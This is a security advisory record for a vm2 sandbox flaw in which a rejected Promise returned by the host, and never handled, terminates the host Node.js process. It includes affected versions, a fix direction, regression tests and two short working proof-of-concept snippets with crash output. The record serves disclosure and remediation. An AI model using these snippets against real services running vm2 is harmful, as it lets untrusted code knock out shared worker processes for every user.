{"id":"GHSA-gjq8-xm47-88rc","summary":"vm2: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process","details":"## Summary\n\nvm2 current head (`v3.11.5`, commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`) can still be used to terminate the host Node.js process when sandbox code calls a host-realm function that returns a rejected host Promise and then ignores the returned value.\n\nThis is an incomplete-fix variant of the `GHSA-hw58-p9xv-2mjh` unhandled rejection hardening. The `localPromise` constructor now catches and consumes sandbox-created unhandled rejections, but host Promises returned across the bridge are not marked handled at the bridge boundary. If the sandbox does not attach `.catch()` or `.then(..., onRejected)`, Node's default unhandled rejection behavior terminates the host process.\n\n## Technical Details\n\n`lib/setup-sandbox.js` hardens sandbox-created Promises by wrapping the executor and attaching a benign swallow tail:\n\n```js\napply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);\n```\n\nThat only applies to `localPromise` instances created inside the sandbox.\n\nHost-returned Promises cross the membrane through the bridge apply path. The bridge wraps callbacks when sandbox code later calls `.then`, `.catch`, or `.finally` on a host Promise:\n\n```js\nbridge.setHostPromiseSanitizers(e =\u003e handleException(from(e)), from);\n```\n\nHowever, if sandbox code ignores the returned host Promise, no host-side rejection handler is attached. The original host Promise remains unhandled and Node terminates the host process under the default unhandled-rejection behavior.\n\n`NodeVM` provides an in-repository example of this primitive through the special `events` builtin wrapper. `lib/builtin.js` passes host `EventEmitter.once` into the sandbox:\n\n```js\nonce: EventEmitter.once,\n```\n\nThen `lib/events.js` re-exports it:\n\n```js\nif (host.once) module.exports.once = host.once;\n```\n\nCalling `events.once(ee, 'message')` and then emitting `error` on `ee` returns a rejected host Promise through that wrapper. If ignored by sandbox code, it terminates the host process.\n\n## Impact\n\nAn attacker who can run code in a vm2 sandbox can terminate the host Node.js process when the embedder exposes a host Promise-returning API, or when a `NodeVM` permits the `events` builtin.\n\nFor web services, queues, notebook workers, plugin hosts, and multi-tenant code execution systems, a single small request can terminate the worker process. Restart policies do not fully mitigate the issue because the payload can be replayed after each restart.\n\n## Affected Package/Versions\n\nConfirmed affected on Node.js `v25.8.0`:\n\n- `v3.10.0`\n- `v3.10.1`\n- `v3.10.2`\n- `v3.10.3`\n- `v3.10.4`\n- `v3.10.5`\n- `v3.11.0`\n- `v3.11.1`\n- `v3.11.2`\n- `v3.11.3`\n- `v3.11.4`\n- `v3.11.5` / current head `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`\n\nThe final PoV was also reproduced on current head with Node.js `v16.20.2`, `v18.20.8`, `v20.20.2`, `v22.22.3`, `v24.16.0`, and `v25.9.0` using `npx node@\u003cmajor\u003e`. The local workstation default Node.js `v25.8.0` also reproduces.\n\n\n## Configuration Required\n\nThe general VM PoV requires an embedder-exposed host function that can return a rejected host Promise:\n\n```js\nconst vm = new VM({\n  sandbox: {\n    hostReject: () =\u003e Promise.reject(new Error('host-boom')),\n  },\n});\n```\n\nThe NodeVM variant requires `events` in the builtin allowlist:\n\n```js\nnew NodeVM({ require: { external: false, builtin: ['events'] } });\n```\n\n`events.once()` is exposed by vm2's special `events` builtin wrapper. Node's official API documents `events.once()` as returning a Promise that rejects when the watched emitter emits `error` while waiting for another event.\n\n## Controls\n\n- If sandbox code attaches `.catch(() =\u003e {})` to the returned host Promise, the process survives.\n- If sandbox code creates and ignores a sandbox-native rejected Promise, the process survives on current head. This confirms the `GHSA-hw58` localPromise hardening is active.\n- If sandbox code attaches `.catch(() =\u003e {})` to the `events.once()` Promise, the `NodeVM` process survives.\n- If `NodeVM` does not allow the `events` builtin, the `events.once()` variant does not run and the process survives.\n\n## Disclosure Policy Fit\n\nvm2's security policy asks reporters not to open public issues and to submit This report is intended for that private route and includes the requested reproduction steps, affected versions, environment/configuration details, and impact. The affected range is within the supported `3.x` line.\n\n## Local Proof of Concept\n\nRun from the `oss-zero-day-harness` directory:\n\n```fish\nnode submission-bundle/vm2-pov-test-host-promise-return-unhandled-rejection-dos/pov-host-promise-return-unhandled-rejection-dos.js\n```\n\nThe crash-safe PoV executes each case in a child process. A vulnerable result has `status: 1` for the positive cases and `status: 0` for controls.\n\nMinimal VM positive case:\n\n```js\nconst { VM } = require('vm2');\n\nconst vm = new VM({\n  sandbox: {\n    hostReject: () =\u003e Promise.reject(new Error('host-boom')),\n  },\n});\n\nvm.run('hostReject(); 1');\nsetTimeout(() =\u003e console.log('survived'), 150);\n```\n\nObserved on current head:\n\n```text\nError: host-boom\n    at hostReject (...)\n```\n\nThe process exits before printing `survived`.\n\nMinimal NodeVM builtin variant:\n\n```js\nconst { NodeVM } = require('vm2');\n\nconst vm = new NodeVM({\n  require: { external: false, builtin: ['events'] },\n});\n\nvm.run(`\n  const events = require('events');\n  const ee = new events.EventEmitter();\n  events.once(ee, 'message');\n  ee.emit('error', new Error('event-boom'));\n  module.exports = 'returned';\n`, 'events-pov.js');\n\nsetTimeout(() =\u003e console.log('survived'), 150);\n```\n\nObserved on current head:\n\n```text\nnode:internal/process/promises:332\n    triggerUncaughtException(err, true /* fromPromise */);\nError: event-boom\n```\n\nThe process exits with status `1`.\n\n## Mitigation\n\nApplications can reduce exposure by installing a process-level `unhandledRejection` handler that swallows vm2-originated rejections, as the README recommends for related async rejection caveats. That is an application workaround, not a library-level fix: without such a handler, current Node's default `--unhandled-rejections=throw` behavior raises the rejection as an uncaught exception and exits the process.\n\n## Suggested Fix Direction\n\nWhen a host function call returns a host-realm Promise across the bridge into sandbox code, attach a benign host-side rejection handler to the raw returned Promise before wrapping it for the sandbox. This should mark the original host Promise handled without changing the value returned to sandbox code or hiding the rejection from sandbox code that later attaches its own `.catch()` / `.then(..., onRejected)`.\n\nRegression tests should cover:\n\n- `VM` with `hostReject: () =\u003e Promise.reject(new Error(...))`; calling `hostReject()` without `.catch()` must not terminate the process.\n- The same call with a sandbox `.catch()` must still deliver a sanitized rejection to the sandbox callback.\n- `NodeVM` with `require.builtin: ['events']`; calling `events.once(ee, 'message')` and then emitting `error` without `.catch()` must not terminate the process.\n- The same `events.once()` call with a sandbox `.catch()` must continue to deliver a sanitized rejection to the sandbox callback.\n- Sandbox-created rejected Promises should continue to be consumed by the existing localPromise hardening.\n\n## Why This Is Not Intended Behavior\n\nvm2 already treats this failure mode as security-relevant. `GHSA-hw58-p9xv-2mjh` was assigned High severity for a sandbox-created unhandled rejection that terminated the host process, and current `setup-sandbox.js` explicitly states that the local Promise swallow tail exists so the host's `unhandledRejection` event never fires.\n\nThis report shows the same availability boundary failure still exists for host-returned Promises:\n\n- the sandbox does not need `child_process`, filesystem, network, `nesting`, or dangerous builtins;\n- the `VM` variant needs only a common embedder pattern: exposing an async host helper to untrusted code;\n- the `NodeVM` variant needs only the documented `events` builtin allowlist;\n- a single sandbox call terminates the whole host process serving all users.\n\nThis is distinct from the documented caveat that `timeout` cannot stop CPU loops. It is also distinct from the README's current async-function / `await using` caveat: this report does not require sandbox `async` syntax, async functions, disposable stacks, or V8 stack-formatting behavior. The issue is specifically that vm2's own bridge returns a host Promise to the sandbox without marking the host Promise handled, while the sandbox-created Promise path does mark rejections handled.\n\nThis is also distinct from host-Promise callback sanitizer escapes. In those chains, sandbox code attaches a callback to a host Promise and then receives or returns a mis-sanitized value. Here, no sandbox Promise callback is required at all; the original host Promise is simply left orphaned after crossing the bridge.","aliases":["CVE-2026-92954"],"modified":"2026-10-05T23:00:05.329630178Z","published":"2026-10-05T22:45:48Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-05T22:45:48Z","nvd_published_at":null,"cwe_ids":["CWE-248","CWE-703"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-gjq8-xm47-88rc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92954"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/commit/5bb37f8b3f0498675a71cfa4df2b408d8ef7d4fb"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.8"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/vm2-3.10.0-through-3.11.5-denial-of-service-via-host-promise"}],"affected":[{"package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.10.0"},{"fixed":"3.11.8"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.11.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-gjq8-xm47-88rc/GHSA-gjq8-xm47-88rc.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}]}